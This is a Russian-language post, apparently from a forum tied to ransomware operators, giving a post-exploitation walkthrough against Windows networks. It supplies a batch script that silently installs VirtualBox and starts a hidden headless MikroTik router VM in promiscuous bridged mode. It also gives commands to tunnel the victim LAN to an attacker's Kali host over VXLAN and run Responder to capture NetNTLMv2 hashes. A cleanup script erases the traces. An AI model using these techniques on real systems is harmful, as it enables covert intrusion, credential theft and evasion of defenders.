• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Используем виртуальный MikroTik для постэксплуатации Windows

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Недавно я нашел новый способ организации L2-туннелирования против сетей Windows. Вдохновившись идеей Для просмотра ссылки Войди или Зарегистрируйся, я продемонстрирую постэксплуатацию Windows с помощью виртуального MikroTik CHR, который позволит провести пивотинг и получить L2-доступ к целевой сети.



Для просмотра ссылки Войди или Зарегистрируйся

Caster Remix​

Я вдохновился идеей s0i37, когда пытался найти новые способы L2-туннелирования против Windows. Мне пришла в голову мысль запустить виртуальный роутер MikroTik CHR внутри реальной Windows с помощью VirtualBox.

CHR (Cloud Hosted Router) — это виртуальный маршрутизатор MikroTik, который можно установить с помощью технологий виртуализации. И у него тоже есть возможность деплоя на VirtualBox. Я выбрал именно его, так как RouterOS 7 — очень гибкий и многофункциональный инструмент. В нем есть необходимый VXLAN, который работает стабильно. На основе идеи s0i37 я придумал следующую концепцию:
  • деплой CHR внутри Windows при постэксплуатации;
  • сетевая настройка CHR в режиме bridge в VBOX;
  • создание полноценного L2-туннеля с VXLAN, бриджинг интерфейсов и получение доступа.
Схема исследования


CHR Deploy​

MikroTik CHR мы используем в качестве L2-шлюза, но он будет работать на основе VirtualBox. Вот только VirtualBox нужно каким‑то образом установить на целевой хост, а при этом не всегда есть возможность обеспечить себя графической оболочкой. Я предусмотрел этот сценарий и нашел способ «тихой» установки VirtualBox, а также способ организации виртуальной машины.

Сама VirtualBox в silent-режиме устанавливается таким образом (я использую версию 7.0.8):

C:\remix>VirtualBox-7.0.8-156879-Win.exe -s
Теперь создаем виртуальную машину CHR. Если нет GUI, это можно сделать с помощью VBoxManage.exe. Сама версия CHR — 7.10.2.

Я приготовил специальный bat-файл для автоматизации процесса. Прошу заметить, что я использую образ диска VDI, который буду подключать к созданной виртуальной машине. Образы VDI обычно скачиваются с официального сайта MikroTik.

Я все настраиваю так, чтобы машина работала в режиме моста с неразборчивым режимом. При настройке сети тебе понадобится установить точное имя интерфейса в ОС, но его легко узнать с помощью команды Get-NetAdapter в оболочке PowerShell.

Код:
C:\remix>remix.bat

remix.bat
@echo off


set VMNAME=CasterRemix
set VMMEMORY=512
set VMCPUS=2
set VMDISK=C:\remix\chr-7.10.2.vdi
set VMNIC1=bridged
set VMADAPTER1="Intel(R) Wi-Fi 6 AX201 160MHz"
set VMPROMISC1=allow-all


"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" createvm --name "%VMNAME%" --register
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --memory %VMMEMORY% --cpus %VMCPUS%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storagectl "%VMNAME%" --name "SATA Controller" --add sata --controller IntelAHCI
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storageattach "%VMNAME%" --storagectl "SATA Controller" --port 0 --device 0 --type hdd --medium "%VMDISK%"
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --nic1 %VMNIC1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --bridgeadapter1 %VMADAPTER1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --nicpromisc1 %VMPROMISC1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" startvm "%VMNAME%" --type headless

Параметр --headless указывает на то, что виртуальная машина запустится в тихом режиме, чтобы не привлечь лишнее внимание пользователя.

После запуска CHR маршрутизатор получит адрес автоматически, так как это заложено в его конфигурации по умолчанию. Но нам необходимо найти сам адрес маршрутизатора. Это можно сделать, например, с помощью классического сканирования портов TCP/22, TCP/8291 в сети 192.168.1.0/24, где запущен сам CHR в бридже. В моем случае адрес — 192.168.1.36.

Теперь подключимся к панели управления CHR (например, по SSH или Winbox) и сделаем начальную настройку. Нам понадобиться
  • выключить протоколы обнаружения соседей (Discovery Protocols);
  • выключить протоколы STP, чтобы не нарушить работу легитимного дерева STP;
  • задать имя системы в CHR (hostname);
  • создать специальный бридж, переместить туда интерфейс, настроить работу /ip/dhcp-client для сохранения связности с CHR. Когда интерфейс помещается в бридж, он подчиняется бриджу, и для дальнейшей связи адрес нужен именно на бридже. Несмотря на изменение настройки /ip/dhcp-client, адрес CHR останется таким же.
Код:
[admin@MikroTik] > /interface/bridge/add name=bridge1;
/interface/bridge/set protocol-mode=none numbers=0;
/interface/bridge/port add interface=ether1 bridge=bridge1;
/ip dhcp-client/remove 0;
/ip/dhcp-client/add interface=bridge;
/ip/neighbor/discovery-settings/set discover-interface-list=none;
/system/identity/set name=CasterRemix


[admin@CasterRemix] >

Также важно, что все это нужно сделать одной командой, иначе навсегда утеряешь доступ к CHR на уровне сети и придется начинать заново.

VXLAN-туннелирование​

В качестве протокола туннелирования я выбрал VXLAN. Он позволяет передавать L2-фреймы поверх протокола UDP (порт по умолчанию UDP/4789), то есть предоставляет возможность организовать L2-туннель между атакующей системой и CHR.

Наша цель — сеть 192.168.1.0/24, к которой получим L2-доступ.

Лабораторная сеть

Между атакующим и MikroTik будет создан туннель VXLAN, причем они будут устройствами VTEP и станут работать в режиме точка — точка (point-to-point), без объявлений MCAST. VTEP (Virtual Tunnel Endpoint) — устройства, на которых строится и терминируется туннель VXLAN, они занимаются инкапсуляцией и деинкапсуляцией VXLAN-заголовков.

Пример инкапсулированной с помощью VXLAN полезной нагрузки

Важно, чтобы перед настройкой был явный маршрут /32 до CHR через шлюз, с которым будет инициирован туннель. Иначе созданный туннель может перекрыть достижимость до CHR, что вызовет разрыв туннеля. Маршрут создается через шлюз по умолчанию для атакующего (в случае данной лабораторной сети — 172.10.200.254).

caster@kali:~$ sudo ip route add 192.168.1.36/32 via 172.10.200.254
На стороне атакующего туннель VXLAN будет построен между адресами 172.10.200.252 и 192.168.1.36 (Attacker → CHR), идентификатор туннеля (VNI) — 10.

Код:
caster@kali:~$ sudo ip link add name evilvxlan type vxlan id 10 local 172.10.200.252 remote 192.168.1.36 dstport 4789
caster@kali:~$ sudo ip link set evilvxlan up

На стороне CHR (RouterOS v7) тоже необходимо, чтобы созданный интерфейс VXLAN на CHR был помещен в бридж, где находится интерфейс, смотрящий в сторону реальной ОС (ether1), так как CHR на уровне VirtualBox находится в режиме моста.

Код:
[admin@CasterRemix] > /interface/vxlan add name=vxlan1 port=4789 vni=10
[admin@CasterRemix] > /interface/vxlan/vteps interface=vxlan1 remote-ip=172.10.200.252 port=4789
[admin@CasterRemix] > /interface/bridge/port add interface=vxlan1 numbers=0

Карта VXLAN-туннелирования

После применения этой конфигурации туннель VXLAN будет построен согласно схеме выше.

Связь атакующего с целевой сетью по L2

Атака​

Теперь атакующий должен получить адрес на интерфейсе evilvxlan, и L2-доступ будет обеспечен! Открываются возможности для атак канального уровня. Также по DHCP может прилететь второй шлюз, заданный по умолчанию, что разорвет туннель. Так что будь осторожен. Я, чтобы избежать этой проблемы, использую команду sudo route del default.

caster@kali:~@ sudo dhclient -v evilvxlan; sudo route del default
caster@kali:~@ sudo responder -I evilvxlan -vvv
Ниже — пример отработавшей внутри VXLAN-туннеля утилиты responder и отравление запросов LLMNR/NBNS/MDNS.

NetNTLMv2-SSP-хеш пользователя darkstep

Зачистка​

Когда понадобится затереть следы, необходимо выключить и удалить созданную виртуалку с MikroTik CHR. Также нужно удалить саму VirtualBox. Естественно, в silent-режиме.

Код:
delete-remix.bat
@echo off


set VMNAME=CasterRemix


"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" controlvm "%VMNAME%" poweroff
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" unregistervm "%VMNAME%" --delete
wmic product where name="Oracle VM VirtualBox 7.0.8" call uninstall /nointeractive
rmdir /s /q c:\remix


Выводы​

Итак, я продемонстрировал технику L2-туннелирования против машин Windows. Метод специфический, но, на мой взгляд, вполне практичный.

Эту статью я хочу посвятить ушедшему из жизни Киту Флинту, фронтмену группы The Prodigy, которая выпустила песню Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся
Эта песня была для меня вдохновением по ходу работы и даже немало повлияла на ее стиль.
 
Activity
So far there's no one here